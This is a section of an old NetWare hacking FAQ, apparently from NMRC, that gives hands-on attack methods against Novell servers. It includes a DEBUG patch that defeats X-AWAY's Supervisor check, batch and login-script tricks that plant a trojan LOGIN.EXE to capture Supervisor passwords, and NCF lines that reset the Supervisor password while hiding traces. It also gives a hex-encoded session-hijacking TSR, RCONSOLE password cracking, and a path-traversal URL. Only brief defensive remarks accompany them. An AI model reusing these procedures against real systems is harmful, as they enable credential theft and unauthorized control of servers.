This section has miscellaneous information regarding hacking and Netware.
This will depend greatly on what kind of network interface card (NIC) the workstation has, as to whether you can perform this function. Typically you can do it in the Link Driver section of the NET.CFG file by adding the following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are using Netware's ODI drivers, if you are using NDIS drivers you will have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.
Getting the target node address should be pretty easy. Login with any account and do a USERLIST /A. This will list all accounts currently logged in with their network and node address. If your workstation is on the same network as the target, you can spoof the address no problem. Actually you can spoof the address regardless but to defeat station restrictions you must be on the same network.
For an IP address, you may have to run a TCPIP config program to make it work (it depends on whose IP stack you are running). Some implementations will have the mask, the default router and the IP address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to look around in all network- related subdirectories to see if there are any .CFG, .INI, or .NIF files that may contain addresses.
Forging the IP address is quite tricky, and many people have written to me asking for specific tips. Since there are a number of different IP implementations this is rather impractical. However here are a few important items to remember:
For IP spoofing, you may want to try netcat ("the network swiss army knife") available via @stake's network utilities.
Instead of a normal DIR command, use NDIR to see hidden files and directories. NDIR *.* /S /H will show you just Hidden and System files.
If a file is flagged as execute-only, it can still be opened. Open the file with a program that will read in executables, and do a Save As to another location.
Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But once again X-AWAY.EXE requires Supervisor access.
To disable the check for Supe access in X-AWAY, try the following:
REN X-AWAY.EXE WORK
DEBUG WORK
EB84 EB
W
Q
REN WORK X-AWAY.EXE
Hey presto, anybody can copy X flagged files. The only catch is you need practically full rights in the directory where the X flagged file resides.
The best way is to use Filer. Here are the steps for removing file alterations -
While you can hit F1 will in Filer and get all the context-sensitive help you need, the quicky way to get where you're going is to run Filer in the target file's directory, select Directory Contents, highlight the target file and hit enter, select File Options and then View/Set File Information. View and edit to your heart's desire.
A Netware-aware trojan is a program that supposedly does one thing but does another instead, and does it using Netware API calls. I have never personally encountered one, but here is how they would work.
The breach of security would typically be some type of command-line activity that could be performed by system() calls. For example, PROP.EXE could be run to build a property and the replacement LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM directory for a non-Supe user like GUEST.
Once activated the trojan could also erase itself since it is no longer needed.
The LAN God has pointed out quite correctly that Trustee Directory Assignments are the most misunderstood and misconfigured portion of Novell Netware. Typically a secure site should have Read and File Scan only in most directories, and should not have any rights on the root directory of any volume. Rights assigned via the Trustee Directory Assignments filter down the directory tree, so if a user has Write access at the root directory, that user has Write access in every subdirectory below it (unless explicitly limited in a subdirectory down stream). And these assignments are not located in the bindery, but on each volume.
The following is a brief description of Trustees and Trustee Directory Assignments cut and pasted from the comp.os.netware.security FAQ:
[quote] A trustee is any user or group that has been granted access rights in a directory.
The access rights in Novell NetWare 2 are slightly different from the ones in NetWare 3.
The following is a summary of access rights for NetWare 3.
S - Supervisory. Any user with supervisory rights in a directory will automatically inherit all other rights, regardless of whether they have been explicitly granted or not. Supervisor equivalent accounts will hold this access right in every directory.
R - Read. Enables users to read files.
C - Create. Enables users to create files and directories. Unless they also have write access, they will not be able to edit files which have been created.
W - Write. Enables users to make changes to files. Unless they also have create access, they may not be able to edit files, since the write operation can only be used to extend files (not truncate them, which file editors need to do).
E - Erase. Enable users to erase files and remove directories.
M - Modify. Enable users to modify file attributes.
F - File scan. Enables users to see file and directory information. If a user does not have file scan rights, they will not see any evidence of such files existing.
A - Access control. Enable user to change trustee rights. They will be able to add other users as trustees, remove trustees, and grant/revoke specific rights from users. The only caveat of access control is that it is possible for users to remove themselves (as trustees) from directories, thus losing all access control.
In addition to trustees and access rights, there is a concept of inherited rights which means that users inherit rights from parent directories. For example, if user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the parent directory then she will have [RCWEMF] rights as a result of the inherited rights. This will only work if one of the rights that ALICE has in the two directories is granted to a group; if both are granted to her, she will lose the rights of the parent. [end quote]
Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL. This means the user (including GUEST) has the ability to write files to any subdirectory in SYS:MAIL. The first versions of Netware included a simple e-mail package, and every user that is created gets a subdirectory in mail with RCWEMF, named after their object ID number. One consistent number is the number 1, which is always assigned to Supervisor. Here's one way to exploit it:
Trick #1 -------- - Login as GUEST and change to the SYS:MAIL subdirectory. - Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that directory (ex. here is C0003043) - Type DIR. If there is no file named LOGIN, you can bet there may not be one for Supervisor. If there is a default-looking LOGIN file, even a zero length file, you cannot proceed. - Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043 - Create a batch file (ex. here is BOMB.BAT) with the following entries: @ECHO OFF FLAG \LOGIN\LOGIN.EXE N > NUL COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL FLAG \LOGIN\LOGIN.EXE SRO > NUL \MAIL\C0003043\PROP -C > NUL - Create a LOGIN file with the following entries: MAP DISPLAY OFF MAP ERRORS OFF MAP G:=SYS: DRIVE G: COMMAND /C #\MAIL\1\BOMB DRIVE F: MAP DELETE G: - Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to the SYS: volume. TYPE BOMB.BAT > \MAIL\1\BOMB.BAT TYPE LOGIN > \MAIL\1\LOGIN - The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the passwords, and then once you have all the passwords you need (including Supervisor) delete your LOGIN and BOMB.BAT file.
Admins can defeat this by creating default personal Login Scripts or by adding an EXIT command to the end of the System Login Script. Later versions of Netware create a zero-length LOGIN file at ID creation time in the SYS:MAIL directories to defeat this.
Trick #2
--------
Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how
to use it:
- Create a RULES.PMQ file that sets up a rule to execute a file after receipt of a mail message. The program Run line should be something like:
COMMAND /C F:\MAIL\1\BOMB.BAT
- Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE (the itsme version) to that directory.
- Your BOMB.BAT file should be like this:
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing passwords. After acquiring a Supe equiv account, delete the rogue files from SYS:MAIL\1
This Pegasus mail problem will only work if the RULES.PMQ does not exist in the target directory.
Trick #2a --------- If the RULES.PMQ file exists, obviously you cannot do this. After all, you can only create new files to these directories. But here's a way to try and trick the Supe into deleting it for you: - Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through RULER.PMQ, and RULET.PMQ through RULEZ.PMQ. - Next time the Supe logs in and accesses mail, errors. - The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed. - Now do Trick #2
To find out all your trustee rights, use the WHOAMI /R command. The following section is a summary of what rights to expect, and the purpose. Where x appears, it means it doesn't matter if the right is set.
[SRWCEMFA] means you have FULL rights. They are all eight of the effective
rights flags.
[Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
It means you have full access in that directory and all subdirectories.
You cannot be excluded from any directory, even if a user explicitly
tries to revoke your access in a subdirectory.
[xxxxxxxA] is next best thing to the S right. It means you have access
control in that directory and all subdirectories. You can have your
access control (along with any other rights) revoked in a subdirectory,
but you can always use inherited rights to recover them (see the
c.o.n.s FAQ).
[ R F ] is what users should have in directories containing software.
You have the right to read files only.
[ RCWEMFx] is what users should have in their home directory. You can read,
create, and edit files. If you find any unusual directories with
these rights, they can also be used for storing files (maybe an abuse
of the network, especially if this is exploited to avoid quota
systems).
[ RxW F ] usually means that the directory is used for keeping log files.
Unless you have the C right, it may not be possible to edit files in
this directory.
The RIGHTS commands tells you what rights you have in a particular directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.
Access to any .NCF file can bypass security, as these files are traditionally run from the console and assume the security access of the console. The addition of a few lines to any .NCF file can get you access to that system.
The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But remember there are other .NCF files that can be used and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the most popular backup system for Netware. The LDREMOTE.NCF as mentioned in section 04-2 is another potential target.
The lines you might add to such a file might be as follows:
UNLOAD CONLOG
LOAD SETPWD SUPERVISOR SECRET
CLS
LOAD CONLOG
This assumes you had read/write access to the location of the .NCF file and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you are only partially covering your tracks, in the CONSOLE.LOG file it will be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your activities off of the server's screen.
The best .NCF for this is obviously one that is either used during the server's boot process or during some automated process. This way a short .NCF and its activities may escape the eyes of an admin during execution.
Yes. Here's how -
Type the following commands at the DOS prompt (or rip them out of this file, and feed them into DOS debug).
debug boo.com
e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74
e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d
e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e
e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06
e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00
rcx
50
w
q
Just run it on a workstation running NetWare 2.x or 3.x, and wait for someone to login, use the machine, logout, and walk away. Oops. They forgot to logout? Now, isn't that just *bad* luck...
Moral: If you are using a public network (such as a school or university), don't just use LOGOUT. Switch the machine OFF.
Netware NFS has several bugs, as does IntraNetware.
For remote access, hackers always want a Shiva hooked up. You see, if a hacker gets a name from the internal name list, they may not need a user ID and password for a Novell server. If a Shiva user disconnects without logging out, the next person in will be in as that person -- Shiva doesn't drop the connection!
Some admins forget to implement disk space restrictions on some volumes, but give write access to everyone. This allows you to use more resources than the supe intended.
Some systems keep user's home directories on one volume, and only restrict disk space on that one volume. Applications and system files will be kept on other volumes. Since some applications require write access to their directories, if the volume space is not limited, any user capable of running the program can use the extra disk space available (an e-mail program like Microsoft Mail on it's own volume leaps to mind). If space isn't limited on SYS, on 3.x there is the SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object ID), but this is not there by default in 4.x. However if Pegasus mail is being used, or if the server was migrated from 3.x to 4.x, the directory structure and access may be the same.
If you have access to a server via RCONSOLE it may come in handy after loading or unloading an NLM to reboot a server. Build an NCF file by doing the following steps -
- Create a file called DOWNBOY.NCF on your local drive. It should be a text file
and contain the following lines:
REMOVE DOS
DOWN
EXIT
- Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
- At the System Console prompt, type DOWNBOY and enter.
What happens is this - the REMOVE DOS statement frees up the DOS section in server RAM, the server is downed (if there are open files, you will be given one of those "are you sure" messages, answer Y for yes), and the EXIT command tries to return the server console to DOS. But since you removed DOS from RAM, the server is warm booted.
NFS (Networked File System) is used primarily in Unix to remotely mount a different file system. Its primary purpose in Netware is to allow the server to mount a Unix file system as a Netware volume, allowing Netware users access to Unix data without running IP or logging into the server, and Unix users to mount a Netware volume as a remote file system. If the rights are set up incorrectly you can gain access to a server.
While the product works as described, it is a little hard to administer, as user accounts on both sides must be in sync (name and password) and it can be a fairly manual process to ensure that they are, unless the versions are Netware NFS 2.1 or greater with Netware 4.x AND the Unix side is NOT running NIS. Simply adding the proper UID to the NDS object to create a relationship for rights to be passed back and forth. There are three modes -- Unix is God, Netware is God, or both are right.
A reported problem with Netware NFS is that after unloading and reloading using the .NCF files, a system mount from the Unix side includes SYS:ETC read only access. If this directory can be looked at from the Unix side after a mount, .NCF and .CFG files could be viewed and their information exploited. For example, SYS:ETC is a possible location of LDREMOTE.NCF, which could include the RCONSOLE password.
On Netware 3.11 if you ask the portmapper for an NFS handle it will give you one. When you give NFS the file handle it will check its LOCAL portmapper and then grant the request. You can then read any file on the mount you just made.
Netware NFS' existence on a server says you have some Unix boxes around somewhere, which may be of interest as another potential system to gain access to.
Yes. If a user is logging in and the password is being transmitted to the server unencrypted, it will show up as plain text in the trace. If the site uses telnet and ftp, capturing those password will come in handy. Outside of gaining access to another system, many users will make their passwords the same across all systems.
RCONSOLE.EXE is the client-launched application that provides a remote server console to a Novell Netware file server. The connection between client and server allows administrators to manage servers as if they were at the physical server console from their desks, and allow virtually any action that would be performed at the server console to be performed remotely, including execution of console commands, uploading of files to the server, and the unloading and loading of Netware Loadable Modules (NLMs). It is not only an effective tool for administrators, it is a prime target for hackers.
A critical point of access to many servers is the actual physical console. This is one of the main reasons why physical security of the server is so important and stressed by security conscious administrators. On many systems you have a level of access with little to no security. Netware is no exception.
The main reason to hack RCONSOLE is to gain access to the Netware server console. No, you aren't physically there, but the OS doesn't know any different. And the main reason to gain access to the Netware server console is to utilize a tool to gain Supervisor access to the Netware server.
During the RCONSOLE process, the password does come across the wire encrypted. If you look at the conversation you will see packets containing the RCONSOLE.EXE being opened, the possible servers to be accessed, etc. This conversation is nothing but NCP packets.
Once RCONSOLE is up on the workstation, the user chooses the server, hits enter, and is prompted for a password. After entering the password, the conversation contains two 60 byte IPX/SPX packets going back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64 bytes, and 310 bytes in length respectively. The next IPX/SPX packet, 186 bytes in length, contains the password. It is located at offset 3Ah, which is easy to find. Offset 38h is always FE and offset 39h is always FF.
Now comes the use of a tool called RCON.EXE from itsme that can take some of the information you have collected and turn it into the password. What you need are the first 8 hex bytes starting at offset 3Ah, the network address, and the node address. Now the network and node address are in the header of the packet that contains the encrypted password, but can also get these by typing USERLIST /A which returns this info (and more) for each person logged in.
Now why just the first 8 hex bytes? That's all Novell uses. Great encryption scheme, huh?
It has pointed out that RCONSOLE sends screens in plaintext across the network for all to see (well, all with sniffers). This means you can see what is being typed in and what is happening on the screen. While it is not the prettiest stuff to look at, occassional gems are available. The best gem? The RCONSOLE password. The server had been brought up without REMOTE and RSPX being loaded, they were loaded by hand at the console after the server was brought up. The first RCONSOLE session brought up the screen with the lines LOAD REMOTE and LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and this was being sent to the RCONSOLE user's workstation in plaintext.
Teiwaz discovered that SYSCON sends password changes in plaintext. While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x, SYSCON does not.
Einer kindly reminded me that sniffing will show other usernames and passwords such as TELNET, FTP, POP3, and others. Often users use the same passwords from system to system, so these passwords could be used to try on the Netware accounts. In large shops, the administrators of Netware may also have the same passwords for privileged accounts from system to system, so the Admin or Supervisor account may match the root account on a Unix box. Therefore a TELNET session that contains an su to root might reveil the Admin password.
This is a fairly common question, inspired by stack overrun errors, sendmail bugs, and the like that exist in the Unix world. The reason you do not have these kind of exploits in common Netware utilities is because:
Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license of Netware 4.1. Most brand-name compilers will work, but if you're writing NLMs you'll need Watcom's latest. It's the only one I know of that will do NLM linking.
There are a few. Here is info on them -
Visual ManageWare by HiTecSoft at (602) 970-1025. This product allows development of NLMs and DOS EXEs using a Visual Basic type development environment. Runtime royalty-free development without C/C++ and without Watcom. However links are included for C/C++ programs. The full SDK including compilers is USD$895.00. Pricey but looks good, I have not used this product. Novell recently bought/licensed this product so the availability may have changed.
Adrian Cunnelly recently made his C libs for Netware free. You can reach him at [email protected]. These include the source code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip
And take a look at Greg Miller's site, especially for those Pascal coders out there at http://www.gregmiller.net/.
Pandora v3.0 includes its own API, the Pandora Toolbox API, written by Jitsu-Disk. While the project was intended for hackers and not admins, some coders might find it to be a useful package. It is available at http://www.nmrc.org/project/pandora/index.html.
The "GNU Novell Client" project gives a unique insight on the NCP protocol, it can be downloaded at ftp://platan.vc.cvut.cz/pub/linux/ncpfs/. It has tons of source code included.
This one is dangerous. This one will get you your Admin account back if you lost the password, and is not for the light-hearted if you plan on actually using NDS afterwards. Do this at a 4.1 console:
LOAD INSTALL -DSREMOVE
Now in the INSTALL module, go ahead and try to remove NDS. As a part of the process, it will ask you for the Admin password, get this, JUST MAKE ONE UP. If you get errors, no problem. Keep going and you can remove NDS from the server. Even though you gave it the wrong password, it will still let you remove NDS. I told you this one is real wicked...
Most of this is covered as individual items, but here is a bit regarding partitioning of the tree.
As mentioned in the password section, you can set the bindery context of a server to help you recover a lost ADMIN password. It should be noted that you can only access containers in the current servers partition.
With larger networks things get more complex. For example, a "supervisor" account (one with full access to the file system) may have limited access on another server. The number of possible leaks for intruders grows with the size of the network.
A hacker could exploit this and gain control of other partitions, if any object in the first partition they have compromised has access rights to other directory partitions. Intruders could easily give themselves security equivalence to that object, or change that objects password with SYSCON, then login as that object and access the other partitions.
In other words, if a read/write or master partition is stored on one server, its supervisor can potentially manage all objects in this partition, and since its supervisor's password can be reset from the console, other partitions are at risk.
Read/only replicas of partitions by nature will not allow you to set your bindery context to a container in that area -- they are, duh, read only. Of course the brave can disconnect the server from the network, and run DSREPAIR on that server to change the partition to master, but that's rather extreme.
Novell recommends trying to restrict object rights to their own partition and to create replica partitions only on trusted server. Let's use an example to illustrate:
Yes, under certain conditions. Here is an example.
While there are a number of products, commercial and shareware/public domain that have some security-related features, the following products are either really good or have some unique features.
One commercial product product that will check from a dictionary word list and simply report if the password is on the list is Bindview NCS. The bindery version is god-awful slow, but completely accurate. It requires Supe access to run. Bindview can also produce a number of reports. including customized reports to give you all kinds of info on the server and its contents. The new Bindview NDS product is even better. Running as an NLM the password-checking is lightning fast at spitting out account names that are using poor passwords. It can do several thousand checks vs. the one-per-couple-of-seconds speed of the bindery version. You can still use the slow across-the-network method if you desire, but this is only for those who like slow torture. The new reporting features are fabulous, and since they can be customized the wily sys admin can have custom security reports (among other things).
"SafeWord Premiere Access" is an NLM that does password checks in a Netware Connect environment:
http://www.securecomputing.com/index.cfm?sKey=659
There is a product called Password Helper that "enhances" the security around the changing of passwords for 3.x. It is a local EXE/server NLM product that allows non-Supe users to reset passwords.
Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs (yes you are about to hack a server using Basic!) and several are included with the server. One in particular, CONVERT.BAS, takes a file and converts it to HTML and then sends it to the user. Here's an example for www.target.com:
http://www.netware.nmrc.org/scripts/convert.bas?readme.txt
The README.TXT file is returned as HTML. Now here's the bug:
http://www.netware.nmrc.org/scripts/convert.bas?../../any_file_on_sys_volume
Nasty, huh? I recommend "../../system/autoexec.ncf", or "../../etc/ldremote.ncf". It can also be useful for other things (see 06-2 for an example). This has been fixed in the latest version of Novell's IntranetWare.
With IntranetWare, the FTP NLM has a couple of problems. The standard installation gives Read and File Scan access to SYS:ETC so anonymous users can access files in that directory. This is a problem if you use INETCFG to configure RCONSOLE and then don't go back and encrypt the password in the file. The SNMP community password is in this directory, to say nothing about protocols, addresses, and other configuration information.
The wily Admin can turn off the rights, but guess what? Doing this breaks the logging feature.
The other major problem on Netware 4.1 with FTPSERV.NLM is that some users logging in via FTP are granted excessive rights. Stopping and starting the NLM seems to put the rights back the way they are supposed to, but then they seem to come back to FULL rights. Using Fetch as an FTP client tends to make this happen all of the time.
While it does seem possible that going in and checking effective rights, checking bindery rights via SYSCON, and checking UNICON might turn up something, it seems that installed out of the box 4.1 is vulnerable. I am unsure if 4.11 is affected, but my guess is yes. The problem? If NFS file space isn't used, certain clients like Fetch and Cute FTP will end up with Supe rights to the volume.
This is a tricky question, however it is POSSIBLE. I've been working on the right set of conditions in the lab, and I have got it to happen. However it involves a LOT of conditions. But these conditions are not entirely out of the question.
First, variations on the answers outlined in the previous two questions could be used to gain initial access. For example, if a poorly constructed CGI script was put in place that allowed write access to the server and could be redirected, additions could be added to NCF files.
For example, imagine that a CGI script is in place to add a line of text to a file, such as a mailing list. If this CGI script could be redirected, adding a few lines to SYS:ETC\LDREMOTE.NCF or SYS:SYSTEM\AUTOEXEC.NCF could give you complete access. Such lines might include:
UNLOAD REMOTE
LOAD REMOTE HACKPASSWORD
LOAD XCONSOLE
Now simply telnetting to the server, using "hackpassword", and choosing VT-100 will give you remote console access after the next reboot.
Can't telnet past that NLM-based firewall? Add the commands to the NCF file to simply unload it! You can reload it after you've gained access, if you desire.
Access via Novell's FTP NLM is another problem. If you can gain access to the server via FTP and get read/write access to the SYS: volume, you can alter NCF files and open up all kinds of access.
So what kinds of damage can be done? Grab passwords!
If you have gained access via techniques previously described, you can grab the password file(s). Novell has stated publicly it cannot happen, yet I have done it in the NMRC lab.
First off, the NDS files are located in the SYS:_NETWARE directory. You would of course have to gain access to these files. And there are a couple of ways to do this. You can use the techniques described in the Netware Console Attack section, which will allow all kinds of things. But let's say the administrator of the server has removed NETBASIC, and you can't upload a file like JCMD.NLM. You are not entirely sunk.
As stated elsewhere in this FAQ, running a BINDFIX on Netware 3.x made a copy of the bindery files in SYS:SYSTEM. To get that 4.11 backup file, you need to run the equivalent utility from the console. And it is very simple.
There is some concern about the ability to proxy another user's mailbox and calendar with Groupwise version 5.2. This attack seems to exclude those with admin rights. The hacker is unable to read the user's files, but he can send email representing the hacker as the user. NMRC is investigating this issue and will be sure to post the results.
A hacker can make changes to the resource fork files without having modify rights. If write rights are removed, the files are secure, but nothing can be added to the directory.
Buffer overflows do exist on Netware. Most buffer overflow exploits try to get the CPU to execute arbitrary code to gain higher levels of access to a system. Even though Novell says Netware NLMs run in protected memory and that problems with NLMs should not bother other NLMs, basically all Netware buffer overflows simply abend the server. This is the basis for many Denial of Service attacks against Netware.
Top | Next: Netware Mathematical/Theoretical Info | Previous: Netware Logging and Backdoors | Table of Contents